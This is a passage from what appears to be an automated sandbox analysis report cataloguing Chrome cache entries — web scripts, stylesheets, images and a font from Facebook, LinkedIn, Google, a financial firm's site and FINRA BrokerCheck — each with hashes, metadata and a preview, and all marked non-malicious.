SHA-512:	26EC8AA2F4FA682A985F481A97104A5CD86429307B15707632B9E5AE41EEEF4D30B00D8EFF8B3E20B800A9DFF96BAEC554B07871E2B27582AF74C941CE98786A
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3iGuT4/y-/l/en_US/CVZ8oQ56FF2.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("ManageConstituentBadgeDialogQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="6661692877214742"}),null);.__d("ManageConstituentBadgeDialogQuery$Parameters",["ManageConstituentBadgeDialogQuery_facebookRelayOperation"],(function(a,b,c,d,e,f){"use strict";a={kind:"PreloadableConcreteRequest",params:{id:b("ManageConstituentBadgeDialogQuery_facebookRelayOperation"),metadata:{},name:"ManageConstituentBadgeDialogQuery",operationKind:"query",text:null}};e.exports=a}),null);.__d("useFeedComposerCometMentionsBootloadDataSourceQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="6573211379407909"}),null);.__d("useFeedComposerCometMentionsBootloadDataSourceQuery.graphql",["useFeedComposerCometMentionsBootloadDataSourceQuery_facebookRelayOperation"],(function(a,b,c,d,e,f){"use strict";a=function(){var a={defaultValue:null,kind:"LocalArgument",name:"canUseSections"},c={defaultValue:null,kind:"LocalArgument",name:"include_viewer"},d={defaultValue

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
URL:	https://px.ads.linkedin.com/attribution_trigger?pid=37518&time=1712867743073&url=https%3A%2F%2Fbfjfinancialgroup.smartvault.com%2Fsecure%2FSignIn.aspx%3FReturnUrl%3D%252fusers%252fsecure%252fHome.aspx&tm=gtmv2
Preview:	{}

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	72670
Entropy (8bit):	4.766562204697342
Encrypted:	false
SSDEEP:	768:FbUii2ukQNIsjUQCssQZmTtsTO3DNnYiuLe0MXburcyf/H+:Fgii2AIo9Cslmxsa3DNnYiaeXKh3e
MD5:	4B08AD333383BDACAE33955042A73F8F
SHA1:	7B6297F9179AD23A946F3B199F0C57A2F6965D24
SHA-256:	D928C1E14FB0D6B78A42B85B6C93A24050119005C0E421A8CA4E79F4F25E1B9F
SHA-512:	40063C469694FB99B1FDF79470CC7D1A565D6BF0D6AF66FB3059C500FB8B292B153A704E486307643BF87B51DB78BAE31859616856080B6F6F2860A93A342BCB
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/css/all.css?ver=5.13.0
Preview:	/!. Font Awesome Free 5.13.0 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */..fa,..fas,..far,..fal,..fad,..fab {. -moz-osx-font-smoothing: grayscale;. -webkit-font-smoothing: antialiased;. display: inline-block;. font-style: normal;. font-variant: normal;. text-rendering: auto;. line-height: 1; }...fa-lg {. font-size: 1.33333em;. line-height: 0.75em;. vertical-align: -.0667em; }...fa-xs {. font-size: .75em; }...fa-sm {. font-size: .875em; }...fa-1x {. font-size: 1em; }...fa-2x {. font-size: 2em; }...fa-3x {. font-size: 3em; }...fa-4x {. font-size: 4em; }...fa-5x {. font-size: 5em; }...fa-6x {. font-size: 6em; }...fa-7x {. font-size: 7em; }...fa-8x {. font-size: 8em; }...fa-9x {. font-size: 9em; }...fa-10x {. font-size: 10em; }...fa-fw {. text-align: center;. width: 1.25em; }...fa-ul {. list-style-type: none;. margin-left: 2.5em;. padding-left: 0; }. .

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	2.6465732373896285
Encrypted:	false
SSDEEP:	24:Es5ed8vZa+/kffJTyN5J5iXSvjDxatgFFjiZq1MJUikeVgl2fwFfBaTzh4mpCbak:2fq3OqXAzh4jaJV9HxG8Q
MD5:	3E764F0F737767B30A692FAB1DE3CE49
SHA1:	58FA0755A8EE455819769EE0E77C23829BF488DD
SHA-256:	88AE5454A7C32C630703440849D35C58F570D8EECC23C071DBE68D63CE6A40D7
SHA-512:	2831536A2CA9A2562B7BE1053DF21C2ED51807C9D332878CF349DC0B718D09EEB587423B488C415672C89E42D98D9A9218FACE1FCF8E773492535CB5BD67E278
Malicious:	false
Reputation:	low
Preview:	............ .h...&... .... .........(....... ..... ..........................................h. .f...............f...g...d.@.........................`...e...f...f...............f...f...f...e...p...............`...f...f...f...f...............f...f...f...f...f...p...........e...f...f...f...f...............f...f...f...f...f...e.......d.@.f...f...f...f...f...............f...f...f...f...f...f...h. .e...f...f...f....U..........................y'..f...f...f...g...f...f...f...f...............................U..f...f...f...f...f...f...f...f..................................f...f...f...f...f...f...f...f...f...f...............f...f...f...f...f...f...f...f...f...f...f...f...f...............p...f...f...f...f...f...f...f...f...f...f...f...f...................d...U..f...f...f...e...h. .f...f...f...f...f....d......................f...f...f...h.@.....f...f...f...f...f...f....t.................f...f...f...........p...f...f...f...f...f...f...f...f...f...f...f...f...`...............p...f...f...f...f

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10565), with no line terminators
Category:	downloaded
Size (bytes):	10565
Entropy (8bit):	5.153376392356893
Encrypted:	false
SSDEEP:	192:VYhOrCEyCD7ViNW3Z/f7g8x3imWAel/L0Fx18b2VautV2fFsM42UMCo:VYhOrFygiNW9f7gEibLexa2VautV2fFh
MD5:	7F0734E228D3F1A255A8B817A5005B8E
SHA1:	3DFCA70A7A3E298FC392F2393CA60D350EEBB5FD
SHA-256:	23BB39B607B39A93D953762D2A618A3CBC69C52CEAF70D96890137CA1D2B0228
SHA-512:	A63753C214DE3BE15907F5092DCC5009A56533A8C8E9DCB78A0EFF5565CEA95296C8BB73203632BA88849AFD9019A8DC0F1F3A4A28168DEC05A2295A989E77B8
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.7
Preview:	!function(){"use strict";var t={d:function(e,n){for(var i in n)t.o(n,i)&&!t.o(e,i)&&Object.defineProperty(e,i,{enumerable:!0,get:n[i]})},o:function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},r:function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})}},e={};function n(t){if(this.formData={},this.tree={},!(t instanceof FormData))return this;this.formData=t;const e=()=>{const t=new Map;return t.largestIndex=0,t.set=function(e,n){""===e?e=t.largestIndex++:/^[0-9]+$/.test(e)&&(e=parseInt(e),t.largestIndex<=e&&(t.largestIndex=e+1)),Map.prototype.set.call(t,e,n)},t};this.tree=e();const n=/^(?<name>[a-z][-a-z0-9_:])(?<array>(?:\[(?:[a-z][-a-z0-9_:]\|[0-9])\]))/i;for(const[t,i]of this.formData){const s=t.match(n);if(s)if(""===s.groups.array)this.tree.set(s.groups.name,i);else{const t=[...s.groups.array.matchAll(/\[([a-z][-a-z0-9_:]\|[0-9])\]/gi)].map((([t,e])=>e));t.u

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 61 x 57, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3910
Entropy (8bit):	7.774538256297235
Encrypted:	false
SSDEEP:	96:uENzvAXz740S/fQvki400ZeYC27GunCeYhQKq2:BvAw0S/6kik77Wi2
MD5:	EF499ABF1214E5F8701E35108F450E83
SHA1:	73E7A15F63A4E1B3004B277946BCA6A82CBFBC0B
SHA-256:	DFE364244054D70E4504DAF7F5D227F01F79F4AD43A08E573CC7FF6CC4854F32
SHA-512:	59371B5286C2342352783B7193A5A5F3384E0D8DE181DE00628DCFDB4A5E54EB8FA66C8F42F1E10B427A864C151CFE0A1F61EE9AFCC0AF40E8134763A4EC526E
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/assets/images/home/brain-icon.png
Preview:	.PNG........IHDR...=...9.......#.....sRGB.........gAMA......a.....pHYs...t...t..f.x....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:16c9bc52-7b1c-429b-9115-24f9e0478964" xmpMM:DocumentID="xmp.did:E7959EA1B5AE11E6957FC9103BDCCE93" xmpMM:InstanceID="xmp.iid:E7959EA0B5AE11E6957FC9103BDCCE93" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:df4bc394-0e4b-4676-b0c0-35e736784415" stRef:documentID="adobe:docid:photoshop:c683e074-fe18-1179-b251-e699586533b2"/> </rdf:Description> </rdf:RDF> </

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1335)
Category:	downloaded
Size (bytes):	1569
Entropy (8bit):	5.369127779967127
Encrypted:	false
SSDEEP:	48:Xpm6RFvCzWzAiWqSeTqn1PByqka1cUj54/vD978:5pfpy1Pkqka1cS52b978
MD5:	0CC3A63FE10060AF4A349E5DF666EEFE
SHA1:	3E8D3925B550345123F2CAB26568221FD4154F9C
SHA-256:	92FCA55833F48B4289AC8F1CEDD48752B580FCE4EC4B5D81670B8193D6E51B54
SHA-512:	5801C9DB98C4998480772CA5AD71F0E400C4756AE713AAB0358CA6593B3A3426499D6DEC81A768C861CBBCD8394DD8C6D647628A13F124FF3A1119F9B7793E8C
Malicious:	false
Reputation:	low
URL:	https://www.google-analytics.com/plugins/ua/linkid.js
Preview:	(function(){var e=window,h=document,k="replace";var m=function(a,c,d,b,g){c=encodeURIComponent(c)[k](/$/g,"%28")[k](/$/g,"%29");a=a+"="+c+"; path="+(d\|\|"/")+"; ";g&&(a+="expires="+(new Date((new Date).getTime()+g)).toGMTString()+"; ");b&&"none"!=b&&(a+="domain="+b+";");b=h.cookie;h.cookie=a;return b!=h.cookie},p=function(a){var c=h.body;try{c.addEventListener?c.addEventListener("click",a,!1):c.attachEvent&&c.attachEvent("onclick",a)}catch(d){}};var q=function(a,c,d,b){this.get=function(){for(var b=void 0,c=[],d=h.cookie.split(";"),l=new RegExp("^\\s"+a+"=\\s(.?)\\s$"),f=0;f<d.length;f++){var n=d[f].match(l);n&&c.push(decodeURIComponent(n[1][k](/%28/g,"(")[k](/%29/g,")")))}for(d=0;d<c.length;d++)c[d]&&(b=c[d]);return b};this.set=function(g){return m(a,g,b,c,1E3*d)};this.remove=function(){return m(a,"",b,c,-100)}};var t=function(a,c){var d=void 0;if("function"==typeof a.get&&"function"==typeof a.set){var b=c\|\|{},g=b.hasOwnProperty("cookieName")?b.cookieName:"_gali",r=b.hasOwnProper

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1339 x 356, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	87295
Entropy (8bit):	7.984133156922863
Encrypted:	false
SSDEEP:	1536:faYT1+IhDsHhX+qnEwIfv8XPTbZCnPDw4vnWOsfi9+OGd7kurGhYuscevmrxyRIa:yYB+oDsHhXKwQv8PXZCL1nPkMnGVkZir
MD5:	AD857B185462CCD0B29E2D88F8E90CA3
SHA1:	3E9F7510DBA4146CB89E6F6B5745690A1F1EFE9E
SHA-256:	30E724156FC14044907D8F4F1CB3B0B28737AEE2B7822A8166F6112D5DFE7DD3
SHA-512:	C5A51505CF2419E98A44A5EA9E20914489CC48A894CD1C1285E6849FBDFBAA7C831BA1884D80FB54501E6D947547518D28E3B2FE04EC1690F6CBFEDF1065F3AD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...;...d........g....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmpMM:OriginalDocumentID="xmp.did:f958e956-5bf1-4b86-a80e-02c5cb9517d5" xmpMM:DocumentID="xmp.did:2F6FFEFAF45311E596C4BC5F88088493" xmpMM:InstanceID="xmp.iid:2F6FFEF9F45311E596C4BC5F88088493" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3713f415-c680-4af5-b4d9-76d9b1b45273" stRef:documentID="adobe:docid:photoshop:363477cb-e91d-1177-be05-decdc3b849ec"/> <dc:title> <rdf:Alt> <rdf:li xml:lang=

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 154 x 56, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3692
Entropy (8bit):	7.929519819205073
Encrypted:	false
SSDEEP:	96:UeslXWlJSJy7lYLpDKrEKI936wRUbcO5RtQ9ZJ:UnXWlwVpyU93HctQ9ZJ
MD5:	95317F15E066D65A0D23D5F3A40797BF
SHA1:	68003522756DC5B7F153D5A789054724451943D7
SHA-256:	18A1D55F2C6E82DFE544F79FF398AD13FFBF54E9310E208DC427F7092CE164B7
SHA-512:	3D147566F64B81147895995C651D2EA9BE5BBF9366E811D00322459662427A1857283C6F5D98F457A0D6107E5E6747B62AA37E5C85000EF918880050687B23B5
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......8......+......gAMA......a....#IDATx..........(.x.b.E.".A.L.h.A.ID.$.X.J<..]..........bL.S^Q<0..V..F.#.(... x! ..6..g.ggvgV.W.......~.....b.L.=.v..8..6.U..JQ.2[.l...a...y..E....'.,..-Z\|./Q..oP-...v...]....v..g-h0IFB.X.@.[p....+$.\|0\....4...B.D..W...U...n.Pq7.......Rj..e..it5.....W.. #..tYt...F..._.K....yN..Sf\|.t'........0k_.=.Cm...`6\|.i...5..Sd...0-!mfhE>.f...p....a)........H<.4.&.....YN....v......0.m8..zQ@..w<\|Q .j.z...&.-....<t.......m..........'.vJ8..Z....@..q.^W...BHz.-Y4h..j...V.[C>.zC.V...U._.h....Y..T=..9.....4...4..0.\..@.\|63.Q0M.CvK.*8.:.ICp.a.2.....R........6..W./..."J...m}..#`1D...}`y4"w.i.>......Q$...(....C.!+..9....JH..t..0....`!8%...!......q...caN\d(...1..V..%x9m..t.....j.&d........s..JC......^NO...p....9l.;:......e9=YF!M#....[Z]I..`..."......{..Ez../u...C.n.G....L...E..,......q..!P.[@G.H.3..PH.%.z..q...#.f..{.....EA.oC......=...v...uD;........Qi........M.....H.?$.^;...E.{p.L....+`..1...v<F.J.N...uE.N06G.}`_....@..

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18915)
Category:	downloaded
Size (bytes):	43237
Entropy (8bit):	5.680707641754852
Encrypted:	false
SSDEEP:	768:5RWw2BBHWtPd0h3A4LWhNzrXNAtU9ArbM+AI99yNIE:5QBZWtmw4LqPXNIU9ArbMP
MD5:	A20A57297296210AE55C26306436FCE5
SHA1:	AF8363C369F8FD23868093CE0FF02C8D88C229C0
SHA-256:	2DE52103B1FEEB037AF1757A1D10CB77A335258410AFF50F3CC4B93589357FDB
SHA-512:	E0BD233E5F75ECCC4D5018E1F7A4650D13BDD84D4DDCBB1BF482CB35CC836B85CE146F0A2B41DEA578CECF05FB8E7A6C9B6F28DC79A81801A9898B700860020C
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yY/r/YT7n1sgH1lv.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/../*. License: https://www.facebook.com/legal/license/t3hOLs8wlXy/. /.__d("bignumber-js-9.0.1",[],(function(a,b,c,d,e,f){"use strict";b={};var g={exports:b},h;function i(){(function(a){var b,c=/^-?(?:\d+(?:\.\d)?\|\.\d+)(?:e[+-]?\d+)?$/i,d=Math.ceil,e=Math.floor,f="[BigNumber Error] ",i=f+"Number primitive has more than 15 significant digits: ",j=1e14,k=14,l=9007199254740991,m=[1,10,100,1e3,1e4,1e5,1e6,1e7,1e8,1e9,1e10,1e11,1e12,1e13],n=1e7,o=1e9;function p(b){var g,h,x,y=a.prototype={constructor:a,toString:null,valueOf:null},z=new a(1),A=20,B=4,C=-7,D=21,E=-1e7,F=1e7,G=!1,H=1,I=0,J={prefix:"",groupSize:3,secondaryGroupSize:0,groupSeparator:",",decimalSeparator:".",fractionGroupSize:0,fractionGroupSeparator:"\xa0",suffix:""},K="0123456789abcdefghijklmnopqrstuvwxyz";function a(b,d){var f,g,j,m,n,o,p,q,r=this;if(!(r instanceof a))return new a(b,d);if(d==null){if(b&&b._isBigNumber===!0){r.s=b.s;!b.c\|\|b.e>F?r.c=r.e=null:b.e<E?r.c=[r.e=0]:(r.e=b.e,r.c=b.c.slice());retur

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	172
Entropy (8bit):	5.079758958064134
Encrypted:	false
SSDEEP:	3:oSmx3inqiAMXBZNDro6mScsRP+V1b0pmbkGnh/TTk3ZGpNFwkCYYn:oSg3yqiAWV3mI8b0JGhuEa
MD5:	C6822DDEAAD09356ADBED94A03535570
SHA1:	B7404056037FCEA0FC01910945EACF2D50F0E155
SHA-256:	52FC0028005CBD43C43BDDD243AF686C6C03CB2490D16109AFD505D8CCD5522D
SHA-512:	B0B5BD6820DB3DEEA5D14E580634956E8A0503486236E7F3C26805AB102FD83A72BAEA7320B6FE8F718FDF8745209EA18A1FBBAF8DF51A8E288DFB9EE70C970D
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISJQn0S61pD_-oZBIFDVkMGggSBQ28ierQEgUNoEYhsBIFDc5BTHoSFwnAFtBk7-_xrBIFDQqzETASBQ0o8SlJ?alt=proto
Preview:	ClkKBw1ZDBoIGgAKDQ28ierQGgQIARgCIAEKEw2gRiGwGgQICRgBGgQIVhgCIAEKKg3OQUx6GgQITBgCKh0IClIZCg9AIS4jJCpfLT8mKy8lLCkQARj/////DwoiChMNCrMRMBoECAkYARoECFYYAiABCgsNKPEpSRoECEsYAg==

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 426x271, components 3
Category:	downloaded
Size (bytes):	30551
Entropy (8bit):	7.981380885245913
Encrypted:	false
SSDEEP:	384:bkga3G3AiptgztS5kkxOM/O397RdGf/vlkLrWUS8R+y0zWJRsuqoh6QWi4ltVLaU:bppGzGGtc/vsqUS8Ruq8i45Larhuqd3C
MD5:	74E5690739B77026BD1CFC94C9E8B06A
SHA1:	A5D7886ABD8867B7ED53702F7DBF46A14EE9E836
SHA-256:	FF0B7D4AB7D24A2D85E2BC1912D862C43AE20C748757514BC335491658D1EC70
SHA-512:	747929CC5E4C121D1CDC5F3C46FCAF873FA2DF52CE95AB1469FFB30AE390383DC17EDAA5F859AC6D16C980A0DE0052C83D21489EBB33608CB9F250D6BD38C782
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/uploads/2017/06/shutterstock_521063305.jpg
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"................................................................................>.Q.l.u..`."h..9.....Nx..K...R.7..CI.$..cDsC.............\.rx .......?Iju....c,W.'?........Z.E.Z.7..7...m$...:...F.^g...H..P.I`.$...h.j.ZmX.0.nWelT.......i.5.O{..{..{.........).G.By....S.......J.x1Z......C.\|.h.;.....MV.W.6.'......mL6@.]n..p.......].is...Y.t:#B.E.....................Hq..(8...79...1 .V..C..E..V..5../...y.b....#.N....k....Qz.%....n..H..1.k[.H..;y.}/6.*f.9...}<.C.-M.X{OF..oB.I.y..'..(D..5...p..'l...f...'...]......6..wDV{K...........\aZ%....E;78..7s.....w>^.=/....Kre.V..^...(.r4..f..Z9}^ZF...g..6....[V[..ZC.5#\....v.Q.b...F.n1...6k,...... ....T.ii_..p.GX.R......}.......u.;.1...M...V..B......H..z....I..3z..U=.......Xg.....'....vd.cb....6...t.71...@..^T.N.\|7.9.F..6...3.SNP.^.&..+3W...N.6.....~.."

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1836
Entropy (8bit):	7.33489705303095
Encrypted:	false
SSDEEP:	48:g1uNn2vVJ3TX7TwulV6stgAS9vY3cGz+o4aR:p2PL76s2H9vYLP42
MD5:	AA582858D8D8169CDD903CF0951D3750
SHA1:	4D933DCA77682CC005D905C033CD55A6092C04FB
SHA-256:	6C1AC45F9CC20BC2AEA55AE6823953570A7194F6DDD81B67A4F2DCB928200AA8
SHA-512:	AD629D231F0603949164BC0F13CB09CAC12993AE439131F7197BCEFB6F001653CDABE9B754C36F18D223B6A920139133272D0142E44EC5D702F1784C47B8BD6B
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/images/facebook-28.png
Preview:	.PNG........IHDR.............r......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:AEDEEFE91B9F11E8A77F8609C544BD5A" xmpMM:DocumentID="xmp.did:AEDEEFEA1B9F11E8A77F8609C544BD5A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:AEDEEFE71B9F11E8A77F8609C544BD5A" stRef:documentID="xmp.did:AEDEEFE81B9F11E8A77F8609C544BD5A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..^C....IDATx..[H.Q....z75...(.(..\|..{.n.XA.E.....\|(K....*.....H....=ty.E.f....9......;3..}..9g.?.9..(..:.

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1465
Entropy (8bit):	6.758052155011177
Encrypted:	false
SSDEEP:	24:5kjXWww214HPiqGz0yZW7RVt8zJxeWBzjEC3fVP0KEMP3fV5D57DwPoQNAnJ/hlR:m6Tq9ZWdVt8eWB7qKEOx7D4FNAnJ5lTF
MD5:	375D3676E13069C86EA0011EC47F7C8C
SHA1:	FBCFE55CE49409FBB3894A6AFCF0988A3D91B9B3
SHA-256:	E2D14B9B1656E7FFB68886144726C53E6AE95E4152D40445B825E17B2A233BC5
SHA-512:	15E34573EA47188A9F3B761A9DD94519A5B0A5A7E814E4FB7ACF5282239FE0697A2926126DA67AB6F7DC4578459842FB9E06D7348BCD7CD8931C9C52185F04C4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............(-.S....gAMA......a.....sRGB........ cHRM..z&..............u0...`..:....p..Q<....PLTE....f..e..f..f..\..f. g.7r.+x..b..c.D..Q..Q..O..Q..M..R...e.T...p..o..o..o..e..g..d..g..e.....r..3.....5..8..5..<!.=..4..7..f..e..e..e..e..e..e..f..e..e..e..e..e..e..e..e..e..e..g..e..e..d.(u.A..!m..e..e..e..e..e..d.I..Q..Q...e..e..e..e.1..Q..P...f..e..d.N..P..Q...f..e..d.P..P...f..e..d.H..Q...e..e. l.V..S...e..e..e..c..f..e..e..e..e..e..e..e..e..e..f..e..e..e..e..e..e.7].OWz.f..e..e..f..`..8!.3..1..4..6..@&.>#./..:..N8.A'.4..8..9......y.....tRNS........................................../....D..m........u.@+. x.7.@.FB<..=.d...Z....h....Iyg.T,....7..~85.OIv..H%....Z..:>,d..2......)c.........bKGD.........pHYs...H...H.F.k>....IDAT..c````.......7`b..&C#c.S3s.K+&f ..................................? .....X..CB...`\|......~...Kl\\|B...\@.))9%5M..ATL\.$".....-,%.......A.)..........,.."[Q.WUU]S+'.3........U.......;:..DT..{zU......'h0...W*{.."....%tEXtdate:create.2016-06-22T

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	8295
Entropy (8bit):	4.834713948977264
Encrypted:	false
SSDEEP:	192:VW7ICnrPANW8Z3OmXHQ0ZQkvSOz6mp6XzKUAKb+S5M3tmZb+S5M3tK:8AU03OCHQMQkvSOz6mpYPj
MD5:	29203AC8BAFE53CF5510503D316D37AE
SHA1:	A4F8A43D96F9BD271AFCA85C69316EFB278FEB0C
SHA-256:	7B6BF1EA5A830ABA6C03B65CA072342338EC86D5E6E53138EF1A4D9974078010
SHA-512:	22FC4FE0CF30ECB4D7FED570BC38C549DBF83FDC0E4D1B7CD45080899A22100CEBC51F73F1CE7C771DE14BFAA9B159B17E6607AFCA0088BD5C7E69126C9B9D31
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/assets/i18n/en.json
